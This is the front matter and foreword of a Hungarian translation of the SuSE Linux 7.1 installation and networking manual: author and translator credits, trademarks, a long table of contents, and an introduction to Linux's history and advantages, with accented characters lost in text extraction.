You are on page 1of 613

Bodo Bauer, Rdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan

Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jrgen Geck, Carsten Gro, Rolf Haberrecker, Roland Haidl, Olaf Hering, Marc Heuse, Carsten Hger, Dirk Hohndel, Richard Jelinek, Ralf Lanz, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Johannes Meixner, Jay Migliaccio, Norbert Munkel, Jordi Jaen Pallares, Edith Parzefall, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rhrschneck, James Samuel, Martin Scherbaum, Adrian Schrter, Burchard Steinbild, Gabriele Strattner, Jrg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz

SuSE Linux 7.1


Telepts, hlzatok s tudnivalk
Termktmogats: lsd az A . fejezetben (519. oldal) .

SuSE GmbH Schanzckerstr. 10 D-90443 Nrnberg Germany Tel.: +49-911-740 53 31 Fax.: +49-911-741 77 55 email: suse@suse.de WWW: http://www.suse.de Magyarorszgon: SuSE magyarorszgi iroda Pf. 701/156 H-1098 Budapest Hungary Tel.: +36-1-450-0921 Fax.: +36-1-330-5672 email: info@suselinux.hu WWW: www.suselinux.hu

Bodo Bauer, Rdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jrgen Geck, Carsten Gro, Rolf Haberrecker, Roland Haidl, Olaf Hering, Marc Heuse, Carsten Hger, Dirk Hohndel, Richard Jelinek, Ralf Lanz, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Johannes Meixner, Jay Migliaccio, Norbert Munkel, Jordi Jaen Pallares, Edith Parzefall, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rhrschneck, James Samuel, Martin Scherbaum, Adrian Schrter, Burchard Steinbild, Gabriele Strattner, Jrg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz SuSE Linux 7.1 Telepts, hlzatok s tudnivalk 18. javtott kiads 2001 SuSE GmbH

Jelen m a SuSE GmbH szellemi tulajdona. u Lemsolhat egszben vagy rszben, mindaddig, amg a msolat tartalmazza ezt a szerz i jogra o vonatkoz mondatot.
A Szeds: L TEX 2 A magyar fordtst ksztettk: Mindenekel tt s ezton is elismerve ldozatos munkjt Vradi Istvn (svaradi@usa.com) o

Kzrem kdtek: u Auth Gbor (franko@drava.dravanet.hu), Csiszr Imre (imrec@freemail.hu), Lvrdy Zoltn (zlevardy@prompt92.hu), Subosits Gyula (gysubo@freemail.hu), Ifj. Olajos Imre (lala@interaccess.com), Pet Sndor Lszl (psl@freemail.hu), o Zelena Endre (ZelenaE@ab-aegon.hu), Ksa Lajos (kosal@linuxfreemail.com) Pl Zsombor (pzs@mail.datatrans.hu), Baksa Jzsef (Jozsef.Baksa@hu.bosch.com) Kiss Kroly (kiss@topsoft.hu), Hermann Benedek (bence@intercom.hu) s Fodor Orsolya (fodorsi@freemail.hu) Szerkeszts: Sri Gbor (saga@tux.hu). Ez a dokumentum 2001.6.11-n kszlt.

A Linux Linus Torvalds bejegyzett vdjegye. Az XFree86TM a The XFree86 Project, Inc. bejegyzett vdjegye. Az MS-DOS, Windows, Windows 95, Windows 98 s a Windows NT a Microsoft Corporation bejegyzett vdjegyei. A UNIX az X/Open Company Limited bejegyzett vdjegye. Egyb vdjegyek s bejegyzett vdjegyek: A Clipper a Computer Associates-t l, a dBASE a Borland-tl, a Foxbase a Microsoft-tl, a o Compuserve, T-Online a Deutsche Telekom-tl, a SuSE s a YaST a SuSE GmbH -tl. Brmely termkelnevezs lehet bejegyzett vdjegy, annak szabad hasznlhatsgra nem nyjtunk garancit. A SuSE GmbH lnyegben alkalmazkodik a gyrtk rsmdjhoz. Ms, itt elnevezett termkek lehetnek egyes gyrtk vdjegyei.

Tartalomjegyzk
I
1

Bevezets
El sz o 1.1 Mi is a Linux? . . . . . . 1.2 E knyv clja Megjegyzsek a hasznlathoz 1.3 Jelmagyarzat Mit is jelent az hogy "meggyfa: # ls" ? . . . . 1.4 Harc az oldalak szmval . . . . 1.4.1 Termktmogatsi adatbzis . . 1.4.2 Hypertext-segtsg . . . . 1.4.3 Texinf . . . . . . 1.4.4 Kziknyvlapok . . . . 1.4.5 GY.I.K., HOGYAN s OLVASD.EL 1.4.6 Ingyenes knyvek . . . . 1.5 Ksznetnyilvntsok . . . .

1
3 4 4 7 8 8 8 8 8 9 10 10

. . . . . . . . . . .

. . . . . . . . . . .

II
2

A SuSE Linux teleptse


Az els SuSE Linux telepts o 2.1 Gyors t a sikerhez . . . . . . 2.1.1 Kszljnk fel . . . . . 2.1.2 Most mr elkezdhetjk: Az dvzl kperny o o 2.1.3 me a YaST2 ! . . . . . . 2.1.4 A nyelv kivlasztsa . . . . 2.1.5 Az egr kivlasztsa . . . . 2.1.6 Billenty zet s id zna u o . . . . 2.1.7 j telepts vagy frissts? . . . 2.1.8 A merevlemez el ksztse o . . . 2.1.9 Szoftver-kivlaszts . . . .

15
17 17 17 18 19 20 21 21 21 22 23 i

. . . . . . . . . .

Tartalomjegyzk 2.1.10 LILO boot manager a rendszerindtshoz . . 2.1.11 Felhasznli informci . . . . . 2.1.12 A root jelsz meghatrozsa . . . 2.1.13 Belltsok jvhagysa A telepts megkezdse 2.1.14 A grakus fellet belltsa . . . . 2.1.15 Rendszerelemek belltsa . . . . 2.1.16 Bejelentkezs els alkalommal o . . . 2.1.17 Remnyek s munka a rendszeren . . . Telepts a szveges YaST -tal (YaST 1) . . . 2.2.1 Induls: az dvzl kperny . o o . . . 2.2.2 Az alapok: linuxrc . . . . . . 2.2.3 A YaST indtsa . . . . . . 2.2.4 Merevlemezek partcionlsa s formzsa . 2.2.5 Programcsomagok teleptse . . . . 2.2.6 Az alapszoftverek kivlasztsa . . . 2.2.7 Rendszerprogramok teleptse . . . . 2.2.8 A rendszermag kivlasztsa . . . . 2.2.9 Az alaprendszer kongurlsa a YaST segtsgvel 2.2.10 Bejelentkezs telepts utn . . . . Hogy indtjuk el a SuSE Linuxot? . . . . Telepts tmogatott CD-ROM meghajt nlkl . . 2.4.1 Telepts DOS partcirl . . . . 2.4.2 Telepts egy "Net"-en lv forrsrl o . . Telepts a SETUP s a LOADLIN hasznlatval . . 2.5.1 Kapcsoljuk a Windows 95/98-at DOS mdba . 2.5.2 A SETUP meghvsa els lpsek a SETUP programmal . o . . 2.5.3 Hogy indtjuk el az alaplinuxot a SETUP -bl? . 2.5.4 A LOADLIN teleptse s az alaplinux betltse A SuSE Linux automatikus teleptse s belltsa . 2.6.1 Az ALICE ttekintse . . . . . 2.6.2 Automatikus telepts a YaST1 -gyel . . Partcik . . . . . . . . . 2.7.1 Terlet ltrehozsa a Linux szmra (partcionls) 2.7.2 Indts a 2. CD-vel . . . . . . 2.7.3 Indt lemez ltrehozsa DOS alatt . . . 2.7.4 Indt lemez ksztse UNIX alatt . . . 2.7.5 Tmogatja a Linux a CD-ROM-unkat? . . Problmk lersa . . . . . . . 2.8.1 Fjlokat nem lehet mozgatni . . . . 24 26 26 26 27 28 28 28 30 30 31 35 36 37 38 39 40 41 45 46 48 48 50 52 52 52 53 54 56 56 57 57 57 60 60 61 62 62 62

2.2

2.3 2.4

2.5

2.6

2.7

2.8

ii

Tartalomjegyzk 2.8.2 2.8.3 2.8.4 2.8.5 2.8.6 2.8.7 2.8.8 2.8.9 Nincs magyar billenty zet DOS mdban u . . 63 63 63 64 65 65 . 65 66 66 66 67 67 69 71 72 72 74 76 76 78 83 . . . . . . . . . . . . . . 83 84 84 85 85 85 86 87 87 88 89 90 92 95 95 iii

Nincs CD-ROM meghajt Windows 95/98 DOS ablakban . . . . . . . . A CD megsrlt . . . . . . . Az ATAPI CD-ROM olvass kzben lefagy

Problmk a prhuzamos portos CD-ROM meghajtkkal . . . . . . . . Problmk "specilis" CD-ROM meghajtkkal Az IBM Thinkpad "elalszik" telepts kzben A Loadlinnek nincs elg memria a kernel betltshez . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2.8.10 A Loadlin nem indul

2.8.11 A DOS vdett (protected) mdban fut 2.8.12 A CD-ROM meghajtk bet jele u 2.8.13 ltalnos hardverproblmk 2.9 Partcionls kezd knek o . . . . . . . . 2.10 Partcionls haladknak

2.10.1 A swappartci mrete 2.10.3 Optimalizls . . .

2.10.2 Szmtgp egyedlll gpknt 2.11 Merevlemeznk kzi belltsa 2.11.1 Partcik belltsa

2.11.2 Fjlrendszerek s csatolsi pontok (Mount points) 3 YaST (Yet another Setup Tool) Mgegy Belltsi Eszkz 3.1 3.2 3.3 Alapvet hasznlat s billenty zet-kioszts o u A YaST f men o 3.3.1 3.3.2 3.3.3 3.3.4 3.3.5 3.3.6 3.3.7 3.3.8 3.3.9 . . . . . . . . . . . . . . . . . . . . . A telepts belltsa . . . . . . . . . . . . . . . . . . . . . . . . . . .

A nyelv kivlasztsa A billenty zet belltsa u A forrsmdium Telepts CD-ROM-rl Telepts NFS-en keresztl Telepts FTP-r l o .

Telepts merevlemez-partcirl Telepts hozzfrhet knyvtrbl o Merevlemeznk partcionlsa

3.3.10 A cl fjlrendszer/partci belltsa 3.3.12 Telepts egy knyvtrba . .

3.3.11 A Logikai ktet kezel (Volume Manager) belltsa o

Tartalomjegyzk 3.4 A teleptsi mret meghatrozsa . . . . . 3.4.1 Kongurci betltse . . . . . 3.4.2 Kongurci mentse . . . . . 3.4.3 Kongurcink megvltoztatsa . . . 3.4.4 Mi lesz ha... . . . . . . . 3.4.5 A Telepts megkezdse . . . . . 3.4.6 Csomagfgg sgek ellen rzse o o . . . 3.4.7 Az sszes kszlet s csomag tartalomjegyzke . 3.4.8 Csomagok keresse . . . . . . 3.4.9 Csomagok teleptse . . . . . 3.4.10 Csomagok trlse . . . . . . A rendszer frisstse . . . . . . . Rendszeradminisztrci . . . . . . 3.6.1 Hardver integrlsa a rendszerbe . . . 3.6.2 Kernel s az Indts (Boot) belltsa . . 3.6.3 Hlzat kongurlsa . . . . . 3.6.4 l CD-ROM fjlrendszer kongurlsa . o . 3.6.5 Bejelentkezs kongurlsa . . . . 3.6.6 A susewm belltsa (a Window Manager) . 3.6.7 Felhasznlk adminisztrlsa . . . . 3.6.8 Csoportadminisztrci . . . . . 3.6.9 Biztonsgi ments ksztse . . . . 3.6.10 A rendszer biztonsgi belltsai . . . 3.6.11 Az XFree86(TM) kongurlsa . . . 3.6.12 A YaST kongurcis fjljnak megvltoztatsa 96 96 97 97 99 100 100 100 100 101 102 102 102 103 105 108 110 111 112 112 114 115 116 116 116 119 119 120 121 124 125 127 130 133 134 134 135 136 137

3.5 3.6

Rendszerbetlts s rendszerbetlt programok o 4.1 A PC rendszerindtsa . . . . . . 4.2 Klnbz rendszerindtssal kapcsolatos fogalmak o 4.3 A LILO ttekintse . . . . . . 4.4 A LILO belltsa . . . . . . 4.4.1 A lilo.conf szerkezete . . . 4.4.2 Egyb LILO belltsi opcik . . . 4.5 A LILO teleptse s eltvoltsa . . . . 4.6 Linux indt lemez ksztse . . . . 4.7 Plda belltsok . . . . . . . 4.7.1 DOS, Windows 95/98 s a Linux . . 4.7.2 Windows NT s Linux egy merevlemezen 4.7.3 Az OS/2 s a Linux . . . . . 4.7.4 DOS, OS/2 s Linux . . . .

. . . . . . . . . . . . .

iv

Tartalomjegyzk 4.8 LILO 4.8.1 4.8.2 4.8.3 problmk . . . . . . . Hibazenetek: LILO indtsi zenetek . . Az 1024-es cilinderhatr . . . . . Specilis indtsi problmk a 2.0-s rendszermagok ta . . . . . . . . . Indts a loadlin segtsgvel . . . . . 4.9.1 Minden loadlin hasznl rszre szksges lpsek 4.9.2 Indt menk belltsa . . . . . 4.9.3 A Linux indtsa a Windows-on bell . . 4.9.4 A Windows indt men . . . . . 138 139 139 141 143 143 144 145 146

4.9

III
5

Hlzati kongurls
Linux a hlzatban 5.1 Belltsok a YaST segtsgvel . . . . 5.2 Hlzat belltsa a YaST nlkl . . . . 5.2.1 Kongurcis fjlok . . . . 5.2.2 Indulskor lefut szkriptek . . . 5.3 tvonalvlaszts SuSE Linux alatt . . . 5.4 NIS, Yellow Pages helyi hlzaton . . . 5.4.1 Mi is a NIS? . . . . . . 5.4.2 A NIS kliens . . . . . . 5.4.3 NIS Master s Slave kiszolgl . . 5.5 NFSMegosztott fjlrendszerek . . . . 5.5.1 Fjlrendszerek importlsaNFS kliens . 5.5.2 Fjlrendszerek exportlsaNFS kiszolgl Kapcsolds a vilghoz s aztn hogyan tovbb? 6.1 PPP . . . . . . . . 6.1.1 Kvetelmnyek a PPP hasznlathoz 6.1.2 Tovbbi informcik a PPP-r l o . 6.2 ISDN bellts . . . . . . 6.2.1 ISDN bellts - Lpsr l lpsre o . 6.2.2 ttekints . . . . . 6.2.3 ISDN Hardverbellts . . . 6.2.4 ISDN hardver belltsa a YaST-tal . 6.2.5 Egy ISDN Internet kapcsolat belltsa 6.2.6 ISDN zenetek . . . . 6.3 Kbelmodemek . . . . . . 6.3.1 Az alapok . . . . .

151
153 157 158 159 164 166 168 168 168 169 169 169 170 173 174 174 174 175 176 177 177 178 182 186 186 186 v

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

Tartalomjegyzk 6.4 6.5 6.6 T-DSL, T-ISDN-DSL, ADSL. . . . . . . Modem csatlakoztatsa . . . . . Csatlakozs az Internethez: PPP wvdial -lal . . 6.6.1 A wvdial belltsa . . . . . 6.6.2 Klnbz szolgltatk hasznlata a wvdial-lal o 6.6.3 ISDN Terminl Adapter . . . . 6.6.4 PCI modemek belltsa . . . . 6.6.5 Kzi PPP bellts haladknak . . . 6.7 Masquerading (lczs) s t zfalak u bartok s "bartok" . . . . . . 6.7.1 Az lczs (masquerading) alapjai . . 6.7.2 A t zfal alapjai u . . . . . 6.7.3 Az lczs s a t zfal belltsa u . . 6.8 rjunkA villmposta (e-mail) belltsa . . 6.9 News: Teljesen j zenetek az USENET-r l . o . 6.9.1 A Leafnode News rendszer . . . 6.10 FAX-hasznlat Linuxon . . . . . 6.10.1 SuSEFax HylaFAX Fax kliens . . 6.10.2 Fax fed lap automatikus el lltsa . o o . 6.10.3 Fax Spooling UNIX /Linux-on . . 6.10.4 HylaFAX Distributed Faxes . . . Idegenek a lthatron: A Samba s a Netatalk 7.1 Tncoljunk Sambat... . . . . 7.1.1 Bevezet . o . . . . 7.1.2 A kiszolgl teleptse . . 7.1.3 gyfl teleptse . . . 7.1.4 Optimalizls . . . . 7.2 Netatalk: Beszlgess velem... . . 7.2.1 A fjlkiszolgl kongurlsa . 7.2.2 A nyomtat szerver belltsa . . . . . . . . . . . . . . . . . . . . 187 188 188 189 191 192 193 194 199 199 200 200 202 205 205 207 208 216 217 218 225 225 225 227 230 230 232 232 233

. . . . . . . .

. . . . . . . .

. . . . . . . .

IV
8

Az X Window System
Az X Window rendszer 8.1 Trtnelmi httr . . . 8.2 Az XFree86 j verzija, a 4.0.2 . 8.3 Bellts a SaX2 hasznlatval . 8.3.1 Telepts az els alkalommal o 8.3.2 jra bellts . . .

235
237 237 238 240 240 250

. . . . .

. . . . .

. . . . .

. . . . .

vi

Tartalomjegyzk 8.3.3 8.3.4 8.3.5 8.4 8.4.1 8.4.2 8.5 8.6 Hibakeress . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251 255 256 257 264 264 265 272 278 281 283 285 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285 285 288 289 290 291 292 293 296 298 301 302 303 306

Az X szerver naplfjl . . . . .

Az X Window rendszer indtsa jra-kongurls Hibaelhrts

Bellts a SaX -szal

Bellts az xf86cong segtsgvel 8.6.1 8.6.2 8.6.3

Az X Window rendszer teleptsnek optimalizlsa Tovbbi (True Type) bet kszletek beillesztse u Beviteli eszkzk belltsa 3D gyorsts . . . . . . . . .

Az ablakkezel kablakok a gpre o 9.1 Egy kis elmlet 9.1.1 9.1.2 9.1.3 9.2 9.2.1 9.2.2 9.2.3 9.3 9.4 9.5 9.6 . . . . ltalnossgban

Mit kezel egy ablakkezel ? o

Klnbz ablakkezel k indtsa o o Teleptsi ttekints .

KDE a K Desktop Krnyezet

kdma grakus bejelentkez fellet o Teht, mi is olyan klnleges a KDE-ben? . . . . . . .

Az fvwm2 ablakkezel o Az fvwm2 belltsa 9.4.1 9.5.1

Automatikus felbukkans (Autoraise) Bejegyzsek hozzadsa a menhz .

Az ablakkezel belltsa a susewm segtsgvel o A kongurci szemlyreszabsa

A Linux s a hardver

309
311 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311 311 311 314 315 315 322 322 vii

10 A Linux s a hardver 10.1 El zetes megjegyzsek o 10.2 Krtyk 10.3 Hangkrtyk . . . 10.2.1 ISA s PCI krtyk 10.3.1 OSS / OSSdemo 10.4 A szmtgp portjai 10.4.1 PS/2 Port

10.3.2 Hangkrtyk tmogatsa Linux alatt

Tartalomjegyzk 10.4.2 Soros portok . . . 10.4.3 Prhuzamos portok . . 10.4.4 USB Univerzlis soros busz Cserlhet meghajtk . o . . 10.5.1 Hajlkonylemezes meghajtk 10.5.2 LS-120 meghajtk . . 10.5.3 ZIP meghajtk . . Modemek . . . . . 10.6.1 Kls modemek o . . 10.6.2 Bels modemek o . . Lapolvask . . . . . Szalagos meghajtk . . . Tvkrtyk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322 323 324 325 325 325 325 326 326 326 328 329 330 335 335 335 336 336 338 341 343 343 343 344 345 345 346 346 347 351 351 352 357 363 364 366 371

10.5

10.6

10.7 10.8 10.9

11 Laptop-ok PCMCIA, APM, IrDA 11.1 PCMCIA . . . . . . . . . 11.1.1 Hardver . . . . . . . . 11.1.2 A szoftverek . . . . . . . 11.1.3 Bellts . . . . . . . . 11.1.4 Belltsok a "smk (schemes)" megvltoztatsra 11.1.5 Ha a dolgok mg mindig nem m kdnek . u . 11.1.6 Telepts PCMCIA-n keresztl . . . 11.1.7 Egyb segtsgnyjt programok . . . 11.2 Az APM energiatakarkossg vezrlse . . . 11.2.1 Az alapok . . . . . . . 11.2.2 A megfelel rendszermag o . . . . 11.2.3 Az APM dmon . . . . . . 11.2.4 Tovbbi parancsok . . . . . . 11.2.5 A merevlemez szneteltetse . . . . 11.3 Az IrDA Infravrs port . . . . . . 12 Nyomtatk 12.1 ttekints: Interfszek, vrsorok s gngyltsek (spooling) . . . . . . . . . . 12.2 Nyomtatsi vrsorok: futtats s bellts . . . 12.3 Nyomtat sz r k az "apslter" . uo . . . . 12.4 Hlzati nyomtatk apslter-ei . . . . . 12.5 Nhny sz a Ghostscript-r l o . . . . . 12.6 Tmogatott nyomtatk jegyzke . . . . . 12.7 Ellen rizzk, m kdik-e az apslterrel o u val nyomtats . . . . . . . . viii

Tartalomjegyzk

VI

A kernel s paramterei

373
375 375 376 378 379 379 380 381 381 383 383 384 384 384 385 396 398

13 A kernel 13.1 Kernel forrsok . . . . 13.2 Kernelmodulok . . . . 13.3 Kernel kongurci . . . 13.4 Belltsok a kernel kongurciban 13.5 A kernel fordtsa . . . 13.6 A rendszermag teleptse . . 13.7 Bootlemez ksztse . . . 13.8 A merevlemez kitakartsa fordts utn

. . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

14 Kernelparamterek 14.1 Eszkzmeghajtk a kernelben . . 14.2 Nhny tipp . . . . . 14.3 A paramterek . . . . . 14.3.1 Magyarzat s rtelmezs . 14.3.2 Kernelparamterek a boot promptnl 14.3.3 CD-ROM meghajtk sajt vezrl vel o 14.3.4 modprobe paramterek . .

. . . .

. . . . . . .

. . . . . . .

VII

SuSE Linux: frissts s specialitsok

417
419 419 419 420 420 422 422 422 423 423 424 424 425 426 427 429 430 ix

15 Rendszerfrissts s csomagkezels 15.1 A SuSE Linux frisstse . 15.1.1 El kszletek . o . 15.1.2 Frissts a YaST2 -vel 15.1.3 Frissts a YaST1 -gyel 15.1.4 Egyedi csomag frissts 15.2 Verzirl verzira . . 15.2.1 5.0-rl 5.1-re . . 15.2.2 5.1-r l 5.2-re . o . 15.2.3 5.2-r l 5.3-ra . o . 15.2.4 5.3-rl 6.0-ra . . 15.2.5 6.0-rl 6.1-re . . 15.2.6 6.1-r l 6.2-re . o . 15.2.7 6.2-r l 6.3-ra . o . 15.2.8 6.3-rl 6.4-re . . 15.2.9 6.4-r l 7.0-ra . o . 15.2.10 7.0-rl 7.1-re . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

Tartalomjegyzk 15.3 RPMa csomagkezel o 15.3.2 RPM lekrdezsek . . . . . . . . . . . . . . 430 431 432 434 435 437 437 437 437 438 438 438 438 439 439 439 440 441 441 442 443 443 448 450 450 451 451 455 457 . . . . . . . . . . . . . . . . . . . . . . . . . . 457 458 459 460 461 463

15.3.1 Csomagok kezelse: telepts, frissts s eltvolts 15.3.3 Forrscsomagok teleptse s fordtsa

15.3.4 Egyb eszkzk az RPM archvumokkal val munkhoz . . . . . . . . 16 A SuSE Linux specilis jellemz i o 16.1 A Filesystem Hierarchy Standard (FHS) s a Linux Standard Base (LSB) . . . . . . . . . 16.1.1 Pldakrnyezetek FTP-re s HTTP-re 16.1.2 teTeX TEX a SuSE Linux-ban 16.2 tletek specilis szoftvercsomagokhoz 16.2.2 A cron csomag 16.2.3 A curses csomag 16.2.4 Kziknyvlapok . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

16.2.1 Az xdevel s az xdevel33 csomagok

16.3 Indts az "initial ramdisk"-kel

16.3.1 Az Initial Ramdisk fogalma 16.3.3 Az indtbetlt k (Boot loaders) o

16.3.2 Az indtsi eljrs rendje az initrd-vel 16.3.4 Az initrd hasznlata a SuSE Linux-ban

16.3.5 El fordul nehzsgek az ltalunk fordtott kerneo lek . . . . . . . . . 16.3.6 Kiltsok 16.4 A linuxrc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

16.5 A SuSE Linux Help rendszere 16.5.2 Kliens bellts 16.6 A SuSE Rescue rendszer 16.7 Billenty zet kioszts u

16.5.1 nll gp s kiszolgl belltsa 16.5.3 A Help rendszer hasznlata

17 A SuSE Linux boot koncepcija 17.1 Az init program 17.2 Futsi szintek . . . . .

17.3 A futsi szintek megvltoztatsa 17.4 Inicializl szkriptek

17.5 A /etc/rc.config s a /sbin/SuSEcong

17.6 A /etc/rc.config vltozi Rendszerbellts x

Tartalomjegyzk

VIII

Biztonsg s kezdjnk bele

475
477

18 A biztonsg bizalom krdse 18.1 Alapok . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18.1.1 Helyi biztonsg 18.1.2 Hlzati biztonsg 18.2 Eszkzk . . 18.2.1 Helyi eszkzk 18.2.2 Hlzati eszkzk 18.3 Biztonsg a SuSE Linux-ban 18.4 ltalnos szablyok 19 Els lpsek a Linux-ban o 19.1 Bejelentkezs, a "root" felhasznl, felhasznlk hozzadsa . . 19.2 A rendszer lelltsa s elindtsa 19.3 Parancssorban megadhat utastsok 19.4 Virtulis konzolok 19.5 Knyvtrak s fjlnevek 19.6 Munka a knyvtrakkal 19.7 Munka a fjlokkal 19.7.1 Fjlinformcik 19.7.3 Fjltartalom 19.7.4 Rejtett fjlok . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

477 478 481 483 483 486 490 491 493 493 494 495 497 497 497 498 498 500 500 501 501 502 502 503 503 505 506 506 506 507 508 508 508 508 xi

19.7.2 Dzskerek azaz helyettest karakterek o

19.7.5 Fjlok msolsa, tnevezse s trlse 19.7.6 Fjlok keresse, szvegkeress fjlokban 19.7.7 Szimblikus linkek 19.8 Engedlyek . 19.9 Kziknyvlapok . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

19.7.8 Archivls s adatok mentse

19.10Rendszerinformcik 19.10.1 A df parancs 19.10.2 A free parancs

19.10.3 Az ulimit parancs 19.10.4 A w parancs 19.10.5 A du parancs 19.10.6 A kill parancs 19.10.7 A ps parancs

Tartalomjegyzk 19.10.8 A pstree parancs 19.10.9 A top parancs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 509 509 510 510 511 512 513 515 516 519 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519 519 520 520 522 524 524 525 525 526 527 529 . . . . . . . . . . . . . . . 529 530 531 . . . . . . . . . . . . . . . . . . . . . . . . . . . . 531 531 532 532 533 533 533 534 535 535 . . . . . . . . . . . . . . . . .

19.11Fjlrendszer tpusok Linux alatt, a mount s az umount . 19.11.1 ttekints . .

19.11.2 Fjlrendszerek fel s lecsatolsa 19.12DOS parancsok Unix alatt az mtools csomag segtsgvel 19.13Unix parancsok sszefoglalsa 19.14Mi a kvetkez ? o . . . . 19.15A vi szerkeszt (editor) o . . . .

A A SuSE GmbH Tmogatsa s Szolgltatsai A.1 A 60 napos teleptsi tmogats . . A.1.1 Regisztrci nlkl nem jr teleptsi tmogats! A.1.2 A teleptsi tmogats kiterjesztse A.2 A leggyorsabb t a segtsghez! A.3 A SuSE Pro szolgltatsai A.4 Oktats . . . . . . . . . . . . . . . .

A.2.1 Hogyan tudom elrni a SuSE segtsgt? A.3.1 Egyedi projektek s tancsads A.5 Visszajelzsek

A.6 Tovbbi szolgltatsok B Fontosabb billentyuk C A knyvtrszerkezet C.1 ttekints . C.2 Fontosabb knyvtrak D Fontosabb fjlok

D.1 Specilis eszkzfjlok a /dev knyvtrban D.1.1 CD-ROM meghajtk D.1.2 Szalagos meghajtk D.1.3 Egerek (busz s PS/2) D.1.4 Modemek . D.1.5 Soros interfszek D.1.7 Specilis eszkzk

D.1.6 Prhuzamos kapuk (portok) D.2 Bellt fjlok a /etc knyvtrban

D.3 Rejtett kongurcis fjlok a magn knyvtrban xii

Tartalomjegyzk E Az e2fsck kziknyvlapja F SuSE Linux-GYIK G A GNU GPL H Szjegyzk 537 541 551 559

xiii

I. rsz

Bevezets

1. fejezet

El sz o
Fordtotta: Vradi Istvn A Linux trtnete olyan, mint egy modern mese: 1991-ben egy nn szmtgpszakos egyetemista, L INUS T ORVALDS elkezdte programozni sajt verzij UNIX-t. A gyorsan terjed interneten kzztette nemcsak a bino risokat (ezek a gpi kd futtathat programok), hanem a hozzjuk tartoz forrskdokat is. A vilg minden tjrl tbb szz programoz jelentkezett felhvsra, hogy szabad idejkben ingyen dolgozzanak a Linux fejlesztsn. Nem anyagi rde keltsg vezette oket, hanem a problmamegolds rme, egyedl s csoportosan, az opercis rendszer tkletestse, valamint j kpessgekkel val b vtse s kiprblsa rdekben. Egyetlen kikts volt: munkjuknak o belertve a mdostott forrskdokat is elrhet nek kell lennie a teljes progo ramozi kzssg rszre. Ennek jogi alapjt a GNU General Public Licensz (GPL) szolgltatja, ami a G . fejezetben (551. oldal) olvashat. Annak, aki ma a Linux mellett dnt, egy sereg oka lehet r: a stabilitst, biztonsgot s a teljestmnyt kell el szr megemlteni; de a kiterjedt hlzati o kpessge is hozzsegtette a Linuxot az internet meghdtshoz s az egsz szerverpiachoz. Linux-krkben nagyra rtkelik az ingyenes forrskdot s a fggetlensget, valamint a rendszer rugalmassgt, amit magba foglal. Az ingyenes forrsnak ksznhet en senki sem tehetetlen ezutn, s nincs o a szoftvergyrtk knyrletnek kitve, mert maga is kpes egyni alaktgatsra s b vtsre. Nem szabad elfelejteni termszetesen azt sem, hogy a o Linuxnl nem merl fel licensz kltsg, fggetlenl attl, hogy az opercis rendszert otthon hasznljk magnclra, vagy egy cgnl tbben. A fenti rvekt l fggetlenl mindenekfelett olyan hatalmas igny s rdeko l ds nyilvnul meg a Linuxfelhasznlk rszr l, hogy ez btort szmos o o hardver- s szoftvergyrtt a Linux aktv tmogatsra. A Siemens, az IBM , a Compaq, hogy csak pr "nagy" nevet emltsek, vgre felfedeztk a Linuxot mint opercis rendszert. A szmtalan ingyenes alkalmazson tl kereskedelmi szoftverek is nvekv o szmban kaphatk Linuxra: az adatbzis cgek ( Oracle, Informix, Software AG s Sybase ), valamint az irodai megoldsokat knlk ( Applix, Corel , vagy a SUN ) szintn ajnljk termkeiket Linuxra. A Linux j, s egyre jobb lesz, mikzben nem kerl semmibe! Ha gyelembe vesszk a Linuxkzssget, ami mr jval 10 millin felli felhasznlt je3

1. El sz o lent, s a folytatd gyors nvekedst, valamint a lelkesedsket, akkor lthatjuk: a Linux rendelkezik a legjobb min stssel s lehet sggel, hogy a o o szakma szabvnyv vljon. De ez nem minden: a KDE -vel s a GNOME -mal nem egy, hanem egyb l o kt, valban szp grakus munkakrnyezet ll rendelkezsre, hogy mg hangosabban hvjk a "Linuxot a munkaasztalra".

1.1

Mi is a Linux?

